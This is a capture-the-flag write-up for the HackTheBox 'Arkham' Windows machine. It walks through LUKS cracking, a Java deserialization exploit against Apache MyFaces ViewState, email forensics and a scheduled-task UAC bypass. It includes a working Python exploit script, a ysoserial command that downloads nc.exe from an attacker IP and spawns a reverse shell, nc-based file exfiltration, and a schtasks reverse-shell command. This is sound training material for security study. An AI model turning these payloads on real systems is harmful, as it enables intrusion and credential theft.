HTB: Arkham Writeup
Arkham - HackTheBox Writeup
Machine Information
| Attribute | Details |
|---|---|
| Name | Arkham |
| OS | Windows |
| Difficulty | Medium |
| Points | 30 |
| Release Date | 15 May 2019 |
| IP Address | 10.129.228.116 |
| Author | MinatoTW |
Machine Rating
⭐⭐⭐☆☆ (3/5)
Difficulty Assessment:
- Enumeration: ⭐⭐⭐☆☆
- Real-world: ⭐⭐⭐⭐☆
- CVE: ⭐⭐⭐☆☆
- CTF-like: ⭐⭐⭐☆☆
Summary
Arkham is a medium-difficulty Windows machine that chains LUKS disk decryption, Java deserialization via encrypted JSF ViewState, OST email forensics, and a UAC bypass through scheduled task batch logon. Initial enumeration reveals SMB shares containing a LUKS-encrypted disk image, which when cracked exposes Apache Tomcat configuration files. These files reveal DES encryption keys and HMAC secrets used to protect MyFaces JSF ViewState parameters. Exploiting insecure deserialization with a properly encrypted ysoserial payload grants RCE as arkham\alfred. Lateral movement is achieved by exfiltrating and parsing an Outlook OST file containing a screenshot with credentials for user batman. Although batman is a local administrator, UAC token filtering blocks standard remote admin access. The final privilege escalation bypasses UAC by creating a scheduled task with stored credentials—batch logon of a local admin yields a full High Mandatory Level token, granting direct access to Administrator files.
TL;DR: SMB null → LUKS-encrypted disk (batmanforever) → Tomcat config DES key → MyFaces encrypted ViewState deserialization (CommonsCollections6) → RCE as alfred → OST file exfil → screenshot creds for batman → schtasks batch-logon UAC bypass → High integrity shell → root.txt
Reconnaissance
Port Scanning
# Full port scan to identify all open servicesnmap -Pn -p 80,135,139,445,5985,5986,8080,47001 -T4 10.129.228.116Results:
80/tcp open http (IIS)135/tcp open msrpc139/tcp open netbios-ssn445/tcp open microsoft-ds (SMB)5985/tcp filtered wsman (WinRM)5986/tcp filtered wsmans8080/tcp open http-proxy (Apache Tomcat)47001/tcp filtered winrmService Enumeration
SMB (445/tcp):
# Null session enumeration to list sharessmbclient -N -L \\\\10.129.228.116Discovered share: BatShare (accessible with guest/null credentials). The share contains appserver.zip (16 MB).
# Mount and retrieve the archivemount -t cifs -o rw,username=guest,password= '//10.129.228.116/BatShare' /mntcp /mnt/appserver.zip /tmp/arkham/cd /tmp/arkham && unzip appserver.zipContents:
backup.img– 16 MB disk image- Tomcat configuration directory structure
HTTP (8080/tcp):
Navigating to http://10.129.228.116:8080/userSubscribe.faces reveals an Apache MyFaces JSF application. Viewing page source shows:
<input type="hidden" name="javax.faces.ViewState" id="javax.faces.ViewState" value="wHo0wmLu5ceItIi+I7XkEi1GAb4h12WZ894pA+Z4..." />The .faces extension and javax.faces.ViewState parameter indicate a JavaServer Faces (JSF) application using encrypted ViewState.
Vulnerability Assessment
- LUKS Encrypted Disk Image – The
backup.imgfile is a Linux Unified Key Setup (LUKS) encrypted volume. LUKS headers can be extracted and cracked offline. - Apache MyFaces Insecure Deserialization – MyFaces JSF implementations that use encrypted ViewState with known secrets are vulnerable to deserialization attacks if the encryption key is compromised.
- UAC Token Filtering – User
batmanis a local administrator but WinRM (5985) is filtered and remote admin attempts fail due to User Account Control (UAC) remote restrictions. Scheduled tasks with stored credentials can bypass this by granting full token privileges.
Initial Foothold
Step 1: Cracking the LUKS Disk
The backup.img file is identified as a LUKS encrypted disk:
file backup.img# backup.img: LUKS encrypted fileTo crack the LUKS passphrase, extract the LUKS header:
# Determine payload offset (in 512-byte sectors)cryptsetup luksDump backup.img | grep "Payload offset"# Payload offset: 4096
# Extract header (4096 + 1 = 4097 sectors)dd if=backup.img of=header bs=512 count=4097
# Crack with hashcat mode 14600 (LUKS)hashcat -m 14600 -a 0 header rockyou.txtCracked passphrase: batmanforever
Mount the decrypted disk:
cryptsetup luksOpen backup.img dump# Enter passphrase: batmanforevermount /dev/mapper/dump /mntls -la /mnt/Tomcat-DB/tomcat-stuff/Step 2: Extracting MyFaces Configuration
Inside the mounted disk, web.xml.bak reveals MyFaces JSF configuration:
<context-param> <param-name>javax.faces.STATE_SAVING_METHOD</param-name> <param-value>server</param-value></context-param><context-param> <param-name>org.apache.myfaces.SECRET</param-name> <param-value>SnNGOTg3Ni0=</param-value></context-param><context-param> <param-name>org.apache.myfaces.MAC_ALGORITHM</param-name> <param-value>HmacSHA1</param-value></context-param><context-param> <param-name>org.apache.myfaces.MAC_SECRET</param-name> <param-value>SnNGOTg3Ni0=</param-value></context-param>Decode the base64 secret:
echo "SnNGOTg3Ni0=" | base64 -d# JsF9876-Key material:
- DES key:
JsF9876-(8 bytes) - MAC algorithm: HmacSHA1
- ViewState saved server-side but encrypted client→server
Step 3: Apache MyFaces Deserialization Exploit
MyFaces deserializes the javax.faces.ViewState parameter. If an attacker can craft a malicious serialized Java object, encrypt it with the known DES key, and append a valid HMAC, the server will deserialize and execute it.
Generate malicious payload with ysoserial:
# Java command to stage nc.exe and execute reverse shellCMD='cmd /c powershell -nop -c "IWR http://10.10.15.180:8000/nc.exe -OutFile C:\Windows\Temp\pwn.exe; Start-Process C:\Windows\Temp\pwn.exe -ArgumentList \"10.10.15.180 443 -e powershell.exe\""'
# Build payload (requires JDK with --add-opens flags for JDK 9+)OPTS="--add-opens=java.base/java.util=ALL-UNNAMED --add-opens=java.base/java.lang=ALL-UNNAMED --add-opens=java.base/java.lang.reflect=ALL-UNNAMED --add-opens=java.base/java.io=ALL-UNNAMED"
java $OPTS -jar ysoserial.jar CommonsCollections6 "$CMD" > payload_cc6.bin# Output: 1461 bytesWhy CommonsCollections6?
ysoserial’s CommonsCollections5 gadget chain relies on BadAttributeValueExpException reflection that fails on JDK 9+ due to module access restrictions. CommonsCollections6 uses HashSet/HashMap gadgets compatible with --add-opens workarounds.
Encrypt the payload:
#!/usr/bin/env python3import sys, base64, hmac, hashlib, requests, refrom Crypto.Cipher import DESfrom Crypto.Util.Padding import pad
URL = "http://10.129.228.116:8080/userSubscribe.faces"key = base64.b64decode("SnNGOTg3Ni0=") # 8 bytes -> DES key
def get_vs(): r = requests.get(URL) m = re.search(r'javax\.faces\.ViewState[^>]*value="([^"]+)"', r.text) return m.group(1) if m else None
# Read ysoserial payloadpayload = open(sys.argv[1], "rb").read()
# Encrypt with DES-ECB, PKCS5 paddingenc = DES.new(key, DES.MODE_ECB).encrypt(pad(payload, 8))
# Compute HMAC-SHA1 (20 bytes) over ciphertextmac = hmac.new(key, enc, hashlib.sha1).digest()
# Final payload = base64(ciphertext + MAC)final = base64.b64encode(enc + mac).decode()
# Fetch current ViewState (optional check)vs = get_vs()print("[*] Got ViewState:", (vs or "NONE")[:40])
# POST malicious ViewStatedata = {"javax.faces.ViewState": final}headers = {"Content-Type": "application/x-www-form-urlencoded", "User-Agent": "x"}r = requests.post(URL, data=data, headers=headers, timeout=30)print("[*] Sent payload, status:", r.status_code)Execution flow:
- Start HTTP server to serve
nc.exe:
python3 -m http.server 8000- Start reverse shell listener:
nc -lvnp 443- Fire the exploit:
python3 exploit.py payload_cc6.bin# [*] Got ViewState: wHo0wmLu5ceItIi+I7XkEi1GAb4h12WZ894pA+Z4# [*] Sent payload, status: 500The server returns HTTP 500 (the deserialization gadget throws an exception after command execution), but the shell connects:
listening on [any] 443 ...connect to [10.10.15.180] from (UNKNOWN) [10.129.228.116] 49688Windows PowerShellCopyright (C) Microsoft Corporation. All rights reserved.
PS C:\tomcat\apache-tomcat-8.5.37\bin> whoamiarkham\alfredUser flag:
type C:/Users/Alfred/Desktop/user.txt# <redacted>Privilege Escalation
Lateral Movement: alfred → batman
Enumeration:
# List Alfred's Downloads folderGet-ChildItem C:/Users/Alfred/Downloads -Force | Select Name# backups/ desktop.ini
Get-ChildItem C:/Users/Alfred/Downloads/backups -Force -Recurse | Select FullName,Length# C:\Users\Alfred\Downloads\backups\backup.zip 124257Exfiltrate backup.zip:
PowerShell’s Constrained Language Mode (CLM) blocks .NET methods like [IO.File]::ReadAllBytes() and New-Object Net.Sockets.TcpClient, but native executables still run. Use cmd.exe redirection:
# On attacker machine: start receivernc -lvnp 5556 > backup.zip
# On target (alfred shell):cmd.exe /c "C:\Windows\Temp\pwn.exe 10.10.15.180 5556 < C:\Users\Alfred\Downloads\backups\backup.zip"Verify transfer:
ls -l backup.zip# 124257 bytesfile backup.zip# Zip archive data, made by v3.0 UNIXExtract and parse OST file:
unzip backup.zip# alfred@arkham.local.ost (16 MB)
# Extract emails with readpstreadpst -e -o out alfred@arkham.local.ost# Processing Folder "Drafts"# "Drafts" - 1 items done, 0 items skipped.
find out -type f# out/alfred@arkham.local.ost/Drafts/1.eml (51816 bytes)Extract PNG attachment from EML:
#!/usr/bin/env python3import email
m = email.message_from_bytes(open("draft.eml", "rb").read())for part in m.walk(): ct = part.get_content_type() if ct.startswith("image"): fn = part.get_filename() or "image.png" data = part.get_payload(decode=True) open(fn, "wb").write(data) print(f"Saved {fn}, {len(data)} bytes")Output: image001.png (10059 bytes)
Credentials from screenshot:
The PNG image contains a Windows “net use” command screenshot:
Master Wayne's secretsnet use * \\arkham\Batshare /user:batman Zx^#QZX+T!123Credentials: batman / Zx^#QZX+T!123
Privilege Escalation: batman → SYSTEM
Verify batman is local admin:
# Test SMB authenticationnxc smb 10.129.228.116 -u batman -p "Zx^#QZX+T!123"# [+] ARKHAM\batman:Zx^#QZX+T!123
# Check sharesnxc smb 10.129.228.116 -u batman -p "Zx^#QZX+T!123" --shares# Share Permissions Remark# ADMIN$ Remote Admin# BatShare Master Wayne's secrets# C$ Default share# IPC$ READ Remote IPC# Users READProblem: Batman is in the Administrators group, but:
- WinRM port 5985 is filtered
psexec/wmiexecfail withACCESS_DENIED- No access to
ADMIN$orC$shares
This is UAC remote restrictions (token filtering). When a local admin authenticates over the network, Windows grants a filtered token (standard user rights) unless the account is the built-in Administrator RID 500 or specific registry keys disable filtering.
Solution: Scheduled Task Batch Logon UAC Bypass
A scheduled task created with /ru <user> /rp <password> performs a batch logon. For local administrators, batch logon grants the full token (High Mandatory Level) rather than the filtered token.
From alfred shell, create a scheduled task as batman:
# Command to run as batmanschtasks /create /tn batpwn /ru arkham\batman /rp "Zx^#QZX+T!123" /sc once /st 00:00 /tr "C:\Windows\Temp\pwn.exe 10.10.15.180 8443 -e powershell.exe" /f
# Output:# WARNING: Task may not run because account information could not be verified (expected for future time)# SUCCESS: The scheduled task "batpwn" has successfully been created.Start a new listener for batman shell:
# On attacker: set up fifo-based interactive shell handlercd /tmp/arkhamrm -f rp2 rout2 && mkfifo rp2tail -f rp2 | nc -lvnp 8443 > rout2 2>&1 &Trigger the task immediately:
# From alfred shellschtasks /run /tn batpwnBatman shell connects:
cat rout2# listening on [any] 8443 ...# connect to [10.10.15.180] from (UNKNOWN) [10.129.228.116] 49691# Windows PowerShell# PS C:\Windows\system32>Verify High integrity:
# Send commands via fifoprintf "whoami; whoami /groups | findstr /i \"high mandatory administrators\"\n" > rp2# Wait 4 seconds, then read outputtail -c 500 rout2Output:
arkham\batmanARKHAM\Administrators Alias S-1-5-32-544 Mandatory group, Enabled by default, Enabled group, Group ownerMandatory Label\High Mandatory Level Label S-1-16-12288Root flag:
type C:\Users\Administrator\Desktop\root.txt# <redacted>Why this works:
The /ru and /rp parameters store credentials in the task scheduler. When the task executes, Windows performs a batch logon (logon type 4), which for local administrators bypasses UAC token filtering and grants the full administrative token at High Mandatory Level. This allows direct access to privileged resources without needing an interactive UAC elevation prompt or remote admin protocol workarounds.
Attack Chain Summary
SMB null session (BatShare) → appserver.zip → backup.img (LUKS encrypted) → hashcat -m 14600 → batmanforever → web.xml.bak (DES key: JsF9876-) → MyFaces encrypted JSF ViewState deserialization → ysoserial CommonsCollections6 → DES-ECB + HmacSHA1 payload → POST javax.faces.ViewState → RCE as arkham\alfred → C:\Users\Alfred\Downloads\backups\backup.zip → alfred@arkham.local.ost → readpst → Drafts/1.eml → image001.png (screenshot) → batman / Zx^#QZX+T!123 → schtasks /ru /rp (batch logon) → Full token / High integrity → Administrator\root.txtTools Used
| Tool | Purpose |
|---|---|
nmap | Port scanning and service enumeration |
smbclient | SMB share enumeration and file retrieval |
cryptsetup | LUKS disk operations |
hashcat | LUKS passphrase cracking (mode 14600) |
ysoserial | Java deserialization payload generation |
python3 + pycryptodome | DES encryption and HMAC-SHA1 signing |
nc.exe (netcat) | Windows reverse shell binary |
readpst | Outlook OST file parsing |
nxc/crackmapexec | SMB authentication testing |
schtasks | Scheduled task creation for UAC bypass |
Key Learnings
Techniques Practiced
- LUKS disk forensics: Extracting and cracking Linux encrypted volumes offline with
cryptsetupandhashcat -m 14600. - Java deserialization via encrypted ViewState: Exploiting Apache MyFaces JSF applications when encryption keys are known. Payload must be
DES.encrypt(ysoserial_payload) + HMAC_SHA1(ciphertext)then base64-encoded. - ysoserial JDK compatibility: JDK 9+ requires
--add-opensflags to bypass module access restrictions.CommonsCollections5fails; useCommonsCollections6. - Outlook OST forensics: Using
readpst -eto extract emails from offline Outlook storage files, then parsing MIME attachments with Python’semaillibrary. - PowerShell Constrained Language Mode bypass: When
.NETmethods are blocked, native executables (cmd.exe,nc.exe) still work. Exfiltrate files withcmd /c "nc.exe IP PORT < file". - UAC token filtering bypass via scheduled tasks: Creating a scheduled task with
/ru <admin_user> /rp <password>grants a full High Mandatory Level token on execution, bypassing UAC remote restrictions without DLL hijacking or GUI interaction.
Lessons Learned
-
Always check for encrypted artifacts in accessible shares. LUKS headers are crackable with dictionary attacks; once mounted, configuration files often leak secrets.
-
Encrypted serialization ≠ secure serialization. MyFaces encrypts ViewState to prevent tampering, but if the encryption key is compromised, attackers can craft arbitrary serialized objects. Defense-in-depth requires input validation and allowlisting deserialization classes.
-
UAC remote restrictions are bypassable with credential reuse. Local admins can’t remotely access admin shares or use WinRM when filtered, but scheduled tasks with stored credentials perform batch logon, which grants the full token. Defenders should monitor
schtasks /create /ruevents (Event ID 4698) and restrict credential storage. -
File transfer in restricted shells: When PowerShell is in Constrained Language Mode,
cmd.exeredirection (< file) bypasses.NETrestrictions. Always test multiple exfiltration methods. -
Headless Windows shell interaction: Driving a
nc.exereverse shell from a Linux jump host is tedious without proper tooling. Using a named pipe (mkfifo) withtail -f pipe | nc -lvnp PORT > outputenables pseudo-interactive command execution without dropping a full C2 framework.
Proof of Ownership
User Flag: <redacted>Root Flag: <redacted>References
- HackTheBox Official Writeup: Arkham by MinatoTW (Document D19.100.30, 15 May 2019) — Referenced for LUKS cracking methodology, MyFaces deserialization mechanics, and UAC bypass conceptual explanation.